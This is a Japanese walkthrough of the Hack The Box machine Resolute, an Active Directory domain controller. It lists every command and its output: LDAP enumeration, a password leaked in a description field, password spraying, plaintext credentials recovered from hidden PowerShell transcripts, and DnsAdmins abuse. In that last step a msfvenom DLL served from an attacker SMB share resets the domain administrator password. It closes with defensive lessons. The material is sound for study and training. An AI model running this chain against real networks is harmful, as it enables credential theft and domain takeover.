Hack The BoxのWriteup(Resolute)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Resolute — 全実行コマンド・実行結果レポート
Nmap スキャン
DC(53/88/389/445/3268/5985)
LDAP匿名バインド
description属性からパスワード漏洩
全ユーザーへスプレー
melanie:Welcome123!
WinRMログイン
user.txt ✓
隠しPSTranscriptログ発見
Hidden属性フォルダ
ryan:Serv3r4Admin4cc123!
構文誤りで平文キャプチャ
DnsAdmins特権悪用
悪意あるDNSプラグインDLL
DNSサービス再起動
SYSTEM権限でDLLロード
root.txt ✓

Nmap ポートスキャン

BASH
nmap -sV -p 53,88,135,139,389,445,464,593,636,3268,3269,5985 10.129.96.155
RESULT
PORT     STATE SERVICE      VERSION
53/tcp   open  domain       Simple DNS Plus
88/tcp   open  kerberos-sec Microsoft Windows Kerberos
389/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: megabank.local)
445/tcp  open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012
464/tcp  open  kpasswd5?
5985/tcp open  http         Microsoft HTTPAPI httpd 2.0 (WinRM)
Service Info: Host: RESOLUTE; OS: Windows
ℹ️
ドメインコントローラ RESOLUTE.megabank.localmegabank.localという ドメイン名は他のHTBマシン(Monteverde等)でも例示的に使われることがあるため、 ホスト名が”RESOLUTE”であることを必ず確認してから攻撃を続行する。
PHASE 2

LDAP匿名バインドとdescription属性からのパスワード漏洩

LDAP匿名バインドでドメインユーザーを列挙

BASH
ldapsearch -x -H ldap://10.129.96.155 -b "DC=megabank,DC=local" \
  "(&(objectClass=user)(objectCategory=person))" sAMAccountName
RESULT
sAMAccountName: ryan
sAMAccountName: marko
sAMAccountName: sunita
sAMAccountName: abigail
sAMAccountName: marcus
sAMAccountName: melanie
... (計23ユーザー)

description属性を横断的に取得

NOTE
ADの各ユーザーオブジェクトの description(説明)フィールドは、管理者向けの
自由記述メモ欄として運用されることが多く、アカウント発行時の初期パスワードなど
機微な情報がうっかり残されるケースが典型的な設定ミスパターンとして知られる。
BASH
ldapsearch -x -H ldap://10.129.96.155 -b "DC=megabank,DC=local" \
  "(objectClass=user)" description
RESULT
# Marko Novak, Employees, MegaBank Users, megabank.local
dn: CN=Marko Novak,OU=Employees,OU=MegaBank Users,DC=megabank,DC=local
description: Account created. Password set to Welcome123!
🚨
初期パスワード漏洩: Welcome123!。このアカウント自体は既に パスワード変更済みかもしれないが、「新規アカウント作成時の初期パスワードとして この値を使い回している」という運用実態が明らかになった。他のユーザーも同じ 初期パスワードのまま放置されている可能性が高い。

アカウントロックアウトが無効なことを確認

BASH
ldapsearch -x -H ldap://10.129.96.155 -b "DC=megabank,DC=local" \
  -s base lockoutThreshold
RESULT
lockoutThreshold: 0
ℹ️
ロックアウト閾値0 = 無効。安心して全ユーザーに対しこの1つのパスワード候補を 試すスプレー攻撃が実行できる。
PHASE 3

全ユーザーへのパスワードスプレー → user.txt

パスワードスプレー実行

BASH
netexec smb 10.129.96.155 -d megabank -u users.txt -p 'Welcome123!'
RESULT
SMB   10.129.96.155   445   RESOLUTE   [+] megabank.local\melanie:Welcome123!
認証情報取得: melanie : Welcome123!

WinRMログイン & user.txt 取得

BASH
evil-winrm -i 10.129.96.155 -u 'melanie' -p 'Welcome123!'
RESULT
*Evil-WinRM* PS C:\Users\melanie\Documents> type C:\Users\melanie\Desktop\user.txt
729570896b8c2ef9e8e8fa5ec7aca3ed
user.txt — melanie@RESOLUTE
729570896b8c2ef9e8e8fa5ec7aca3ed
PHASE 4

隠しPowerShell Transcriptionログの発見 → ryanの資格情報漏洩

C:\PSTranscripts\ を探索(隠し属性に注意)

BASH
*Evil-WinRM* PS> dir /s /b C:\PSTranscripts\*.txt
RESULT
(何も表示されない)
⚠️
ハマりどころ: C:\PSTranscripts\ 配下の日付名フォルダ (例: 20191203)は Hidden属性が付与されており、 CMDのdir /s /bやPowerShellのGet-ChildItem隠しファイル/フォルダを含めるオプションなしで実行すると (デフォルト動作)一切列挙されず、あたかもディレクトリが空であるかのように 見えてしまう。CMDでは/aフラグ、PowerShellでは-Force フラグを明示的に付与する必要がある。
BASH
*Evil-WinRM* PS> dir /s /b /a C:\PSTranscripts\*.txt
RESULT
C:\PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt
ℹ️
PowerShell Transcriptionは、実行された全コマンドとその出力をログファイルに 自動記録するAD環境の監査機能。管理者が意図せず実行したコマンドライン内の 平文パスワードまでそのまま記録されてしまう典型的な情報漏洩源になる。

ログファイルから漏洩した資格情報を発見

BASH
*Evil-WinRM* PS> type "C:\PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt"
RESULT (該当箇所抜粋)
Username: MEGABANK\ryan
...
CommandInvocation(Invoke-Expression): "Invoke-Expression"
>> ParameterBinding(Invoke-Expression): name="Command"; value="cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!

if (!$?) { if($LASTEXITCODE) { exit $LASTEXITCODE } else { exit 1 } }"
...
cmd : The syntax of this command is:
+ cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
🚨
認証情報取得: ryan : Serv3r4Admin4cc123!net use コマンドの正しい構文は net use X: \\server\share /user:domain\user password だが、このオペレーター(ryan)は/user:を付け忘れる構文誤りを犯し、 「コマンドの構文が正しくありません」というエラーになっている。しかし エラーになった実行内容そのものがトランスクリプションログに平文のまま 記録されているため、構文ミスにもかかわらずユーザー名とパスワードが 丸ごと漏洩する結果となった。
PHASE 5

DnsAdmins特権の悪用 — 悪意あるDNSサーバープラグインDLL

ryanの所属グループを確認

BASH
evil-winrm -i 10.129.96.155 -u 'ryan' -p 'Serv3r4Admin4cc123!'
*Evil-WinRM* PS> whoami /groups
RESULT
MEGABANK\DnsAdmins                          Alias            S-1-5-...
🚨
重大発見: ryanDnsAdmins グループの メンバー。このグループには、Windows DNSサーバーが読み込むプラグインDLLの パスを設定する権限が与えられており、これは既知の権限昇格手法(DNSサーバーの プラグインDLL機構の悪用)につながる。DNSサーバーサービスはSYSTEM権限で 動作するドメインコントローラの中核サービスであるため、悪意あるDLLをロード させられればSYSTEM権限のコード実行が可能になる。

悪意あるDNSプラグインDLLを生成

BASH
msfvenom -p windows/x64/exec \
  cmd='net user administrator P@s5w0rd123! /domain' \
  -f dll -o da.dll
ℹ️
DLL内部で実行させるペイロードは、ドメイン管理者のパスワードを直接 リセットする net user administrator <新パスワード> /domain コマンド。逆シェルの代わりにこの一撃で完結する操作を選ぶことで、 DLLロードが1回しか安定して発火しない場合でも確実に管理者アクセスを得られる。
BASH
# DLLをSMB経由で配信できるようにする(impacket-smbserver等)
impacket-smbserver share $(pwd) -smb2support

DNSサーバーのプラグインDLLパスを設定

BASH
*Evil-WinRM* PS> dnscmd localhost /config /serverlevelplugindll \\10.10.15.200\share\da.dll
RESULT
Registry property serverlevelplugindll successfully reset.
Command completed successfully.

DNSサービスを再起動しDLLをロードさせる

BASH
*Evil-WinRM* PS> sc.exe stop dns
*Evil-WinRM* PS> sc.exe start dns
ryanはDnsAdminsグループのメンバーとしてsc.exe stop/start dnsで DNSサービス自体を制御できる。サービス起動時、DNSサーバーは serverlevelplugindllで設定されたDLLをSYSTEM権限でロードする ため、そのタイミングでmsfvenomペイロードが実行され、 administratorのパスワードが P@s5w0rd123! にリセットされる。
PHASE 6

Administratorとしてログイン → root.txt

root.txt 取得

BASH
evil-winrm -i 10.129.96.155 -u 'administrator' -p 'P@s5w0rd123!'
*Evil-WinRM* PS C:\Users\Administrator\Documents> type C:\Users\Administrator\Desktop\root.txt
RESULT
dca44d9557cf1f02def8f24566ab267c
root.txt — Administrator@RESOLUTE
dca44d9557cf1f02def8f24566ab267c
ℹ️
DLLロードによるパスワードリセットが不安定な場合は、 impacket-psexec(DnsAdminsが引き続きサービス制御可能な状況で) へのフォールバックも有効な代替手段。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — melanie@RESOLUTE
729570896b8c2ef9e8e8fa5ec7aca3ed
root.txt — Administrator@RESOLUTE
dca44d9557cf1f02def8f24566ab267c

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
LDAP description属性への初期パスワード記載 Active Directory (:389) ドメインユーザーの初期パスワード漏洩 High 認証なしでdescription属性を照会し”Welcome123!”を発見
アカウントロックアウト無効 パスワードポリシー パスワードスプレー攻撃の実行容易化 Critical ロックアウトを気にせず全ユーザーへ初期パスワードを一斉試行しmelanieがヒット
PowerShell Transcriptionログへの平文資格情報混入 C:\PSTranscripts\ (Hidden属性フォルダ) 特権ユーザー(ryan)の資格情報漏洩 High net useコマンドの構文誤りがそのままログに記録され読み取り可能なユーザーに漏洩
DnsAdminsグループの過剰な権限 DNSサーバーのserverlevelplugindll機構 SYSTEM権限でのコード実行 Critical 悪意あるDLLを設定しDNSサービス再起動時にSYSTEM権限でロードさせadministratorパスワードをリセット

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmapADドメインコントローラ(RESOLUTE, megabank.local)判明
2LDAP description漏洩ldapsearch匿名バインド初期パスワード “Welcome123!”
3パスワードスプレーnetexec smbuser.txt 取得 (melanie:Welcome123!)
4PSTranscript調査dir /a (隠し属性含む) + ログ読み取りryan:Serv3r4Admin4cc123!
5DnsAdmins悪用msfvenom DLL + dnscmd + sc.exeadministratorパスワードリセット
6管理者ログインevil-winrmroot.txt 取得

学んだ教訓 & 防御策

問題点防御策
ADユーザーオブジェクトのdescription属性に初期パスワードを平文で記載する運用 description属性を機密情報の記載場所として使わない。アカウント発行手順を見直し、初期パスワードは即座に強制変更させる運用にする。
アカウントロックアウトポリシーが無効 合理的なロックアウト閾値を設定する。パスワードスプレー検知の仕組み(Azure AD Smart Lockout相当の機能等)を導入する。
PowerShell Transcriptionログに実行コマンドライン(パスワード含む)がそのまま平文記録される 特権操作では対話的なパスワード入力(Get-Credential等)を使いコマンドライン引数に平文パスワードを含めない。Transcriptionログ自体のアクセス権限を厳格化する。
DnsAdminsグループが実質的にドメインコントローラ上でのSYSTEM権限コード実行と同等の権限を持つ DnsAdminsグループのメンバーシップを必要最小限に絞る。既知の悪用手法であるため、可能であればDNSサーバーロールをドメインコントローラから分離する。
HackTheBox: Resolute | 完全攻略レポート